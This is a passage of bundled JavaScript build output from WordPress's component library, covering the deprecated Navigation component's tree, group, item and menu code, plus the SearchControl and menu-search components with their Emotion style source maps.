5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */"));
43551
43552 // packages/components/build-module/navigation/use-create-navigation-tree.mjs
43553 var import_element153 = __toESM(require_element(), 1);
43554
43555 // packages/components/build-module/navigation/use-navigation-tree-nodes.mjs
43556 var import_element152 = __toESM(require_element(), 1);
43557 function useNavigationTreeNodes() {
43558 const [nodes, setNodes] = (0, import_element152.useState)({});
43559 const getNode = (key) => nodes[key];
43560 const addNode = (key, value) => {
43561 const {
43562 children,
43563 ...newNode
43564 } = value;
43565 return setNodes((original) => ({
43566 ...original,
43567 [key]: newNode
43568 }));
43569 };
43570 const removeNode = (key) => {
43571 return setNodes((original) => {
43572 const {
43573 [key]: removedNode,
43574 ...remainingNodes
43575 } = original;
43576 return remainingNodes;
43577 });
43578 };
43579 return {
43580 nodes,
43581 getNode,
43582 addNode,
43583 removeNode
43584 };
43585 }
43586
43587 // packages/components/build-module/navigation/use-create-navigation-tree.mjs
43588 var useCreateNavigationTree = () => {
43589 const {
43590 nodes: items,
43591 getNode: getItem,
43592 addNode: addItem,
43593 removeNode: removeItem2
43594 } = useNavigationTreeNodes();
43595 const {
43596 nodes: menus,
43597 getNode: getMenu,
43598 addNode: addMenu,
43599 removeNode: removeMenu
43600 } = useNavigationTreeNodes();
43601 const [childMenu, setChildMenu] = (0, import_element153.useState)({});
43602 const getChildMenu = (menu2) => childMenu[menu2] || [];
43603 const traverseMenu = (startMenu, callback) => {
43604 const visited = [];
43605 let queue = [startMenu];
43606 let current;
43607 while (queue.length > 0) {
43608 current = getMenu(queue.shift());
43609 if (!current || visited.includes(current.menu)) {
43610 continue;
43611 }
43612 visited.push(current.menu);
43613 queue = [...queue, ...getChildMenu(current.menu)];
43614 if (callback(current) === false) {
43615 break;
43616 }
43617 }
43618 };
43619 const isMenuEmpty = (menuToCheck) => {
43620 let isEmpty2 = true;
43621 traverseMenu(menuToCheck, (current) => {
43622 if (!current.isEmpty) {
43623 isEmpty2 = false;
43624 return false;
43625 }
43626 return void 0;
43627 });
43628 return isEmpty2;
43629 };
43630 return {
43631 items,
43632 getItem,
43633 addItem,
43634 removeItem: removeItem2,
43635 menus,
43636 getMenu,
43637 addMenu: (key, value) => {
43638 setChildMenu((state) => {
43639 const newState = {
43640 ...state
43641 };
43642 if (!value.parentMenu) {
43643 return newState;
43644 }
43645 if (!newState[value.parentMenu]) {
43646 newState[value.parentMenu] = [];
43647 }
43648 newState[value.parentMenu].push(key);
43649 return newState;
43650 });
43651 addMenu(key, value);
43652 },
43653 removeMenu,
43654 childMenu,
43655 traverseMenu,
43656 isMenuEmpty
43657 };
43658 };
43659
43660 // packages/components/build-module/navigation/index.mjs
43661 var import_jsx_runtime229 = __toESM(require_jsx_runtime(), 1);
43662 var noop18 = () => {
43663 };
43664 function Navigation({
43665 activeItem,
43666 activeMenu = ROOT_MENU,
43667 children,
43668 className: className2,
43669 onActivateMenu = noop18
43670 }) {
43671 const [menu2, setMenu] = (0, import_element154.useState)(activeMenu);
43672 const [slideOrigin, setSlideOrigin] = (0, import_element154.useState)();
43673 const navigationTree = useCreateNavigationTree();
43674 const defaultSlideOrigin = (0, import_i18n61.isRTL)() ? "right" : "left";
43675 (0, import_deprecated20.default)("wp.components.Navigation (and all subcomponents)", {
43676 since: "6.8",
43677 version: "7.1",
43678 alternative: "wp.components.Navigator"
43679 });
43680 const setActiveMenu = (menuId, slideInOrigin = defaultSlideOrigin) => {
43681 if (!navigationTree.getMenu(menuId)) {
43682 return;
43683 }
43684 setSlideOrigin(slideInOrigin);
43685 setMenu(menuId);
43686 onActivateMenu(menuId);
43687 };
43688 const isMountedRef = (0, import_element154.useRef)(false);
43689 (0, import_element154.useEffect)(() => {
43690 if (!isMountedRef.current) {
43691 isMountedRef.current = true;
43692 }
43693 }, []);
43694 (0, import_element154.useEffect)(() => {
43695 if (activeMenu !== menu2) {
43696 setActiveMenu(activeMenu);
43697 }
43698 }, [activeMenu]);
43699 const context = {
43700 activeItem,
43701 activeMenu: menu2,
43702 setActiveMenu,
43703 navigationTree
43704 };
43705 const classes = clsx_default("components-navigation", className2);
43706 const animateClassName = getAnimateClassName({
43707 type: "slide-in",
43708 origin: slideOrigin
43709 });
43710 return /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(NavigationUI, {
43711 className: classes,
43712 children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)("div", {
43713 className: animateClassName ? clsx_default({
43714 [animateClassName]: isMountedRef.current && slideOrigin
43715 }) : void 0,
43716 children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(NavigationContext.Provider, {
43717 value: context,
43718 children
43719 })
43720 }, menu2)
43721 });
43722 }
43723 var navigation_default = Navigation;
43724
43725 // packages/components/build-module/navigation/back-button/index.mjs
43726 var import_element155 = __toESM(require_element(), 1);
43727 var import_i18n62 = __toESM(require_i18n(), 1);
43728 var import_jsx_runtime230 = __toESM(require_jsx_runtime(), 1);
43729 function UnforwardedNavigationBackButton({
43730 backButtonLabel,
43731 className: className2,
43732 href,
43733 onClick,
43734 parentMenu
43735 }, ref) {
43736 const {
43737 setActiveMenu,
43738 navigationTree
43739 } = useNavigationContext();
43740 const classes = clsx_default("components-navigation__back-button", className2);
43741 const parentMenuTitle = parentMenu !== void 0 ? navigationTree.getMenu(parentMenu)?.title : void 0;
43742 const handleOnClick = (event) => {
43743 if (typeof onClick === "function") {
43744 onClick(event);
43745 }
43746 const animationDirection = (0, import_i18n62.isRTL)() ? "left" : "right";
43747 if (parentMenu && !event.defaultPrevented) {
43748 setActiveMenu(parentMenu, animationDirection);
43749 }
43750 };
43751 const icon = (0, import_i18n62.isRTL)() ? chevron_right_default : chevron_left_default;
43752 return /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(MenuBackButtonUI, {
43753 __next40pxDefaultSize: true,
43754 className: classes,
43755 href,
43756 variant: "tertiary",
43757 ref,
43758 onClick: handleOnClick,
43759 children: [/* @__PURE__ */ (0, import_jsx_runtime230.jsx)(icon_default2, {
43760 icon
43761 }), backButtonLabel || parentMenuTitle || (0, import_i18n62.__)("Back")]
43762 });
43763 }
43764 var NavigationBackButton = (0, import_element155.forwardRef)(UnforwardedNavigationBackButton);
43765 NavigationBackButton.displayName = "NavigationBackButton";
43766 var back_button_default = NavigationBackButton;
43767
43768 // packages/components/build-module/navigation/group/index.mjs
43769 var import_element157 = __toESM(require_element(), 1);
43770
43771 // packages/components/build-module/navigation/group/context.mjs
43772 var import_element156 = __toESM(require_element(), 1);
43773 var NavigationGroupContext = (0, import_element156.createContext)({
43774 group: void 0
43775 });
43776 NavigationGroupContext.displayName = "NavigationGroupContext";
43777 var useNavigationGroupContext = () => (0, import_element156.useContext)(NavigationGroupContext);
43778
43779 // packages/components/build-module/navigation/group/index.mjs
43780 var import_jsx_runtime231 = __toESM(require_jsx_runtime(), 1);
43781 var uniqueId = 0;
43782 function NavigationGroup({
43783 children,
43784 className: className2,
43785 title
43786 }) {
43787 const [groupId] = (0, import_element157.useState)(`group-${++uniqueId}`);
43788 const {
43789 navigationTree: {
43790 items
43791 }
43792 } = useNavigationContext();
43793 const context = {
43794 group: groupId
43795 };
43796 if (!Object.values(items).some((item2) => item2.group === groupId && item2._isVisible)) {
43797 return /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(NavigationGroupContext.Provider, {
43798 value: context,
43799 children
43800 });
43801 }
43802 const groupTitleId = `components-navigation__group-title-${groupId}`;
43803 const classes = clsx_default("components-navigation__group", className2);
43804 return /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(NavigationGroupContext.Provider, {
43805 value: context,
43806 children: /* @__PURE__ */ (0, import_jsx_runtime231.jsxs)("li", {
43807 className: classes,
43808 children: [title && /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(GroupTitleUI, {
43809 className: "components-navigation__group-title",
43810 id: groupTitleId,
43811 level: 3,
43812 children: title
43813 }), /* @__PURE__ */ (0, import_jsx_runtime231.jsx)("ul", {
43814 "aria-labelledby": groupTitleId,
43815 role: "group",
43816 children
43817 })]
43818 })
43819 });
43820 }
43821 var group_default = NavigationGroup;
43822
43823 // packages/components/build-module/navigation/item/index.mjs
43824 var import_i18n63 = __toESM(require_i18n(), 1);
43825
43826 // packages/components/build-module/navigation/item/base-content.mjs
43827 var import_jsx_runtime232 = __toESM(require_jsx_runtime(), 1);
43828 function NavigationItemBaseContent(props) {
43829 const {
43830 badge,
43831 title
43832 } = props;
43833 return /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(import_jsx_runtime232.Fragment, {
43834 children: [title && /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(ItemTitleUI, {
43835 className: "components-navigation__item-title",
43836 as: "span",
43837 children: title
43838 }), badge && /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(ItemBadgeUI, {
43839 className: "components-navigation__item-badge",
43840 children: badge
43841 })]
43842 });
43843 }
43844
43845 // packages/components/build-module/navigation/item/base.mjs
43846 var import_element160 = __toESM(require_element(), 1);
43847
43848 // packages/components/build-module/navigation/item/use-navigation-tree-item.mjs
43849 var import_element159 = __toESM(require_element(), 1);
43850
43851 // packages/components/build-module/navigation/menu/context.mjs
43852 var import_element158 = __toESM(require_element(), 1);
43853 var NavigationMenuContext = (0, import_element158.createContext)({
43854 menu: void 0,
43855 search: ""
43856 });
43857 NavigationMenuContext.displayName = "NavigationMenuContext";
43858 var useNavigationMenuContext = () => (0, import_element158.useContext)(NavigationMenuContext);
43859
43860 // packages/components/build-module/navigation/utils.mjs
43861 var import_remove_accents4 = __toESM(require_remove_accents(), 1);
43862 var normalizeInput = (input) => (0, import_remove_accents4.default)(input).replace(/^\//, "").toLowerCase();
43863 var normalizedSearch = (title, search) => -1 !== normalizeInput(title).indexOf(normalizeInput(search));
43864
43865 // packages/components/build-module/navigation/item/use-navigation-tree-item.mjs
43866 var useNavigationTreeItem = (itemId, props) => {
43867 const {
43868 activeMenu,
43869 navigationTree: {
43870 addItem,
43871 removeItem: removeItem2
43872 }
43873 } = useNavigationContext();
43874 const {
43875 group
43876 } = useNavigationGroupContext();
43877 const {
43878 menu: menu2,
43879 search
43880 } = useNavigationMenuContext();
43881 (0, import_element159.useEffect)(() => {
43882 const isMenuActive = activeMenu === menu2;
43883 const isItemVisible = !search || props.title !== void 0 && normalizedSearch(props.title, search);
43884 addItem(itemId, {
43885 ...props,
43886 group,
43887 menu: menu2,
43888 _isVisible: isMenuActive && isItemVisible
43889 });
43890 return () => {
43891 removeItem2(itemId);
43892 };
43893 }, [activeMenu, search]);
43894 };
43895
43896 // packages/components/build-module/navigation/item/base.mjs
43897 var import_jsx_runtime233 = __toESM(require_jsx_runtime(), 1);
43898 var uniqueId2 = 0;
43899 function NavigationItemBase(props) {
43900 const {
43901 children,
43902 className: className2,
43903 title,
43904 href,
43905 ...restProps
43906 } = props;
43907 const [itemId] = (0, import_element160.useState)(`item-${++uniqueId2}`);
43908 useNavigationTreeItem(itemId, props);
43909 const {
43910 navigationTree
43911 } = useNavigationContext();
43912 if (!navigationTree.getItem(itemId)?._isVisible) {
43913 return null;
43914 }
43915 const classes = clsx_default("components-navigation__item", className2);
43916 return /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(ItemBaseUI, {
43917 className: classes,
43918 ...restProps,
43919 children
43920 });
43921 }
43922
43923 // packages/components/build-module/navigation/item/index.mjs
43924 var import_jsx_runtime234 = __toESM(require_jsx_runtime(), 1);
43925 var noop19 = () => {
43926 };
43927 function NavigationItem(props) {
43928 const {
43929 badge,
43930 children,
43931 className: className2,
43932 href,
43933 item: item2,
43934 navigateToMenu,
43935 onClick = noop19,
43936 title,
43937 icon,
43938 hideIfTargetMenuEmpty,
43939 isText,
43940 ...restProps
43941 } = props;
43942 const {
43943 activeItem,
43944 setActiveMenu,
43945 navigationTree: {
43946 isMenuEmpty
43947 }
43948 } = useNavigationContext();
43949 if (hideIfTargetMenuEmpty && navigateToMenu && isMenuEmpty(navigateToMenu)) {
43950 return null;
43951 }
43952 const isActive = item2 && activeItem === item2;
43953 const classes = clsx_default(className2, {
43954 "is-active": isActive
43955 });
43956 const onItemClick = (event) => {
43957 if (navigateToMenu) {
43958 setActiveMenu(navigateToMenu);
43959 }
43960 onClick(event);
43961 };
43962 const navigationIcon = (0, import_i18n63.isRTL)() ? chevron_left_default : chevron_right_default;
43963 const baseProps = children ? props : {
43964 ...props,
43965 onClick: void 0
43966 };
43967 const itemProps = isText ? restProps : {
43968 as: button_default,
43969 __next40pxDefaultSize: "as" in restProps ? restProps.as === void 0 : true,
43970 href,
43971 onClick: onItemClick,
43972 "aria-current": isActive ? "page" : void 0,
43973 ...restProps
43974 };
43975 return /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(NavigationItemBase, {
43976 ...baseProps,
43977 className: classes,
43978 children: children || /* @__PURE__ */ (0, import_jsx_runtime234.jsxs)(ItemUI, {
43979 ...itemProps,
43980 children: [icon && /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(ItemIconUI, {
43981 children: /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(icon_default2, {
43982 icon
43983 })
43984 }), /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(NavigationItemBaseContent, {
43985 title,
43986 badge
43987 }), navigateToMenu && /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(icon_default2, {
43988 icon: navigationIcon
43989 })]
43990 })
43991 });
43992 }
43993 var item_default2 = NavigationItem;
43994
43995 // packages/components/build-module/navigation/menu/index.mjs
43996 var import_element165 = __toESM(require_element(), 1);
43997
43998 // packages/components/build-module/navigation/menu/use-navigation-tree-menu.mjs
43999 var import_element161 = __toESM(require_element(), 1);
44000 var useNavigationTreeMenu = (props) => {
44001 const {
44002 navigationTree: {
44003 addMenu,
44004 removeMenu
44005 }
44006 } = useNavigationContext();
44007 const key = props.menu || ROOT_MENU;
44008 (0, import_element161.useEffect)(() => {
44009 addMenu(key, {
44010 ...props,
44011 menu: key
44012 });
44013 return () => {
44014 removeMenu(key);
44015 };
44016 }, []);
44017 };
44018
44019 // packages/components/build-module/navigation/menu/menu-title.mjs
44020 var import_element164 = __toESM(require_element(), 1);
44021 var import_i18n66 = __toESM(require_i18n(), 1);
44022
44023 // packages/components/build-module/navigation/menu/menu-title-search.mjs
44024 var import_element163 = __toESM(require_element(), 1);
44025 var import_i18n65 = __toESM(require_i18n(), 1);
44026
44027 // packages/components/build-module/higher-order/with-spoken-messages/index.mjs
44028 var import_compose61 = __toESM(require_compose(), 1);
44029 var import_a11y7 = __toESM(require_a11y(), 1);
44030 var import_jsx_runtime235 = __toESM(require_jsx_runtime(), 1);
44031 var with_spoken_messages_default = (0, import_compose61.createHigherOrderComponent)((Component9) => function WithSpokenMessages(props) {
44032 return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(Component9, {
44033 ...props,
44034 speak: import_a11y7.speak,
44035 debouncedSpeak: (0, import_compose61.useDebounce)(import_a11y7.speak, 500)
44036 });
44037 }, "withSpokenMessages");
44038
44039 // packages/components/build-module/search-control/index.mjs
44040 var import_compose62 = __toESM(require_compose(), 1);
44041 var import_i18n64 = __toESM(require_i18n(), 1);
44042 var import_element162 = __toESM(require_element(), 1);
44043 var import_deprecated21 = __toESM(require_deprecated(), 1);
44044
44045 // packages/components/build-module/search-control/styles.mjs
44046 function _EMOTION_STRINGIFIED_CSS_ERROR__35() {
44047 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
44048 }
44049 var StyledInputControl = /* @__PURE__ */ createStyled(input_control_default, false ? {
44050 target: "effl84m1"
44051 } : {
44052 target: "effl84m1",
44053 label: "StyledInputControl"
44054 })(false ? {
44055 name: "37btb2",
44056 styles: "input[type='search']{&::-webkit-search-decoration,&::-webkit-search-cancel-button,&::-webkit-search-results-button,&::-webkit-search-results-decoration{-webkit-appearance:none;}}"
44057 } : {
44058 name: "37btb2",
44059 styles: "input[type='search']{&::-webkit-search-decoration,&::-webkit-search-cancel-button,&::-webkit-search-results-button,&::-webkit-search-results-decoration{-webkit-appearance:none;}}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFXd0QiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgSW5wdXRDb250cm9sIGZyb20gJy4uL2lucHV0LWNvbnRyb2wnO1xuaW1wb3J0IEljb24gZnJvbSAnLi4vaWNvbic7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHRpbnB1dFt0eXBlPSdzZWFyY2gnXSB7XG5cdFx0Jjo6LXdlYmtpdC1zZWFyY2gtZGVjb3JhdGlvbixcblx0XHQmOjotd2Via2l0LXNlYXJjaC1jYW5jZWwtYnV0dG9uLFxuXHRcdCY6Oi13ZWJraXQtc2VhcmNoLXJlc3VsdHMtYnV0dG9uLFxuXHRcdCY6Oi13ZWJraXQtc2VhcmNoLXJlc3VsdHMtZGVjb3JhdGlvbiB7XG5cdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkSWNvbiA9IHN0eWxlZCggSWNvbiApYFxuXHQmOmRpciggbHRyICkge1xuXHRcdHRyYW5zZm9ybTogc2NhbGVYKCAtMSApO1xuXHR9XG5gO1xuIl19 */",
44060 toString: _EMOTION_STRINGIFIED_CSS_ERROR__35
44061 });
44062 var StyledIcon = /* @__PURE__ */ createStyled(icon_default3, false ? {
44063 target: "effl84m0"
44064 } : {
44065 target: "effl84m0",
44066 label: "StyledIcon"
44067 })(false ? {
44068 name: "1i54h4p",
44069 styles: "&:dir( ltr ){transform:scaleX( -1 );}"
44070 } : {
44071 name: "1i54h4p",
44072 styles: "&:dir( ltr ){transform:scaleX( -1 );}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzQndDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IElucHV0Q29udHJvbCBmcm9tICcuLi9pbnB1dC1jb250cm9sJztcbmltcG9ydCBJY29uIGZyb20gJy4uL2ljb24nO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkSW5wdXRDb250cm9sID0gc3R5bGVkKCBJbnB1dENvbnRyb2wgKWBcblx0aW5wdXRbdHlwZT0nc2VhcmNoJ10ge1xuXHRcdCY6Oi13ZWJraXQtc2VhcmNoLWRlY29yYXRpb24sXG5cdFx0Jjo6LXdlYmtpdC1zZWFyY2gtY2FuY2VsLWJ1dHRvbixcblx0XHQmOjotd2Via2l0LXNlYXJjaC1yZXN1bHRzLWJ1dHRvbixcblx0XHQmOjotd2Via2l0LXNlYXJjaC1yZXN1bHRzLWRlY29yYXRpb24ge1xuXHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEljb24gPSBzdHlsZWQoIEljb24gKWBcblx0JjpkaXIoIGx0ciApIHtcblx0XHR0cmFuc2Zvcm06IHNjYWxlWCggLTEgKTtcblx0fVxuYDtcbiJdfQ== */",
44073 toString: _EMOTION_STRINGIFIED_CSS_ERROR__35
44074 });
44075
44076 // packages/components/build-module/search-control/index.mjs
44077 var import_jsx_runtime236 = __toESM(require_jsx_runtime(), 1);
44078 function SuffixItem({
44079 searchRef,
44080 value,
44081 onChange,
44082 onClose
44083 }) {
44084 if (!onClose && !value) {
44085 return null;
44086 }
44087 if (onClose) {
44088 (0, import_deprecated21.default)("`onClose` prop in wp.components.SearchControl", {
44089 since: "6.8"
44090 });
44091 }
44092 const onReset = () => {
44093 onChange("");
44094 searchRef.current?.focus();
44095 };
44096 return /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(InputControlSuffixWrapper, {
44097 variant: "control",
44098 children: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(button_default, {
44099 size: "small",
44100 icon: close_small_default,
44101 label: onClose ? (0, import_i18n64.__)("Close search") : (0, import_i18n64.__)("Reset search"),
44102 onClick: onClose ?? onReset
44103 })
44104 });
44105 }
44106 function UnforwardedSearchControl({
44107 __nextHasNoMarginBottom: _2,
44108 // Prevent passing to internal component
44109 className: className2,
44110 onChange,
44111 value,
44112 label = (0, import_i18n64.__)("Search"),
44113 placeholder = (0, import_i18n64.__)("Search"),
44114 hideLabelFromVision = true,
44115 onClose,
44116 size: size3 = "default",
44117 ...restProps
44118 }, forwardedRef) {
44119 const {
44120 disabled,
44121 ...filteredRestProps
44122 } = restProps;
44123 const searchRef = (0, import_element162.useRef)(null);
44124 const instanceId = (0, import_compose62.useInstanceId)(SearchControl, "components-search-control");
44125 return /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(StyledInputControl, {
44126 __next40pxDefaultSize: true,
44127 id: instanceId,
44128 hideLabelFromVision,
44129 label,
44130 ref: (0, import_compose62.useMergeRefs)([searchRef, forwardedRef]),
44131 type: "search",
44132 size: size3,
44133 className: clsx_default("components-search-control", className2),
44134 onChange: (nextValue) => onChange(nextValue ?? ""),
44135 autoComplete: "off",
44136 placeholder,
44137 value: value ?? "",
44138 prefix: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(InputControlPrefixWrapper, {
44139 variant: "icon",
44140 children: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(StyledIcon, {
44141 icon: search_default,
44142 fill: "currentColor"
44143 })
44144 }),
44145 suffix: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(SuffixItem, {
44146 searchRef,
44147 value,
44148 onChange,
44149 onClose
44150 }),
44151 ...filteredRestProps
44152 });
44153 }
44154 var SearchControl = (0, import_element162.forwardRef)(UnforwardedSearchControl);
44155 SearchControl.displayName = "SearchControl";
44156 var search_control_default = SearchControl;
44157
44158 // packages/components/build-module/navigation/menu/menu-title-search.mjs
44159 var import_jsx_runtime237 = __toESM(require_jsx_runtime(), 1);
44160 function MenuTitleSearch({
44161 debouncedSpeak,
44162 onCloseSearch,
44163 onSearch,
44164 search,
44165 title
44166 }) {
44167 const {
44168 navigationTree: {
44169 items
44170 }
44171 } = useNavigationContext();
44172 const {
44173 menu: menu2
44174 } = useNavigationMenuContext();
44175 const inputRef = (0, import_element163.useRef)(null);
44176 (0, import_element163.useEffect)(() => {
44177 const delayedFocus = setTimeout(() => {
44178 inputRef.current?.focus();
44179 }, SEARCH_FOCUS_DELAY);
44180 return () => {
44181 clearTimeout(delayedFocus);
44182 };
44183 }, []);
44184 (0, import_element163.useEffect)(() => {
44185 if (!search) {
44186 return;
44187 }
44188 const count = Object.values(items).filter((item2) => item2._isVisible).length;
44189 const resultsFoundMessage = (0, import_i18n65.sprintf)(
44190 /* translators: %d: number of results. */
44191 (0, import_i18n65._n)("%d result found.", "%d results found.", count),
44192 count
44193 );
44194 debouncedSpeak(resultsFoundMessage);
44195 }, [items, search]);
44196 const onClose = () => {
44197 onSearch?.("");
44198 onCloseSearch();
44199 };
44200 const onKeyDown = (event) => {
44201 if (event.code === "Escape" && !event.defaultPrevented) {
44202 event.preventDefault();
44203 onClose();
44204 }
44205 };
44206 const inputId = `components-navigation__menu-title-search-${menu2}`;
44207 const placeholder = (0, import_i18n65.sprintf)(
44208 /* translators: placeholder for menu search box. %s: menu title */
44209 (0, import_i18n65.__)("Search %s"),
44210 title?.toLowerCase() || ""
44211 ).trim();
44212 return /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(MenuTitleSearchControlWrapper, {
44213 children: /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(search_control_default, {
44214 className: "components-navigation__menu-search-input",
44215 id: inputId,
44216 onChange: (value) => onSearch?.(value),
44217 onKeyDown,
44218 placeholder,
44219 onClose,
44220 ref: inputRef,
44221 value: search
44222 })
44223 });
44224 }
44225 var menu_title_search_default = with_spoken_messages_default(MenuTitleSearch);
44226
44227 // packages/components/build-module/navigation/menu/menu-title.mjs
44228 var import_jsx_runtime238 = __toESM(require_jsx_runtime(), 1);
44229 function NavigationMenuTitle({
44230 hasSearch,
44231 onSearch,
44232 search,
44233 title,
44234 titleAction
44235 }) {
44236 const [isSearching, setIsSearching] = (0, import_element164.useState)(false);
44237 const {
44238 menu: menu2
44239 } = useNavigationMenuContext();
44240 const searchButtonRef = (0, import_element164.useRef)(null);
44241 if (!title) {
44242 return null;
44243 }
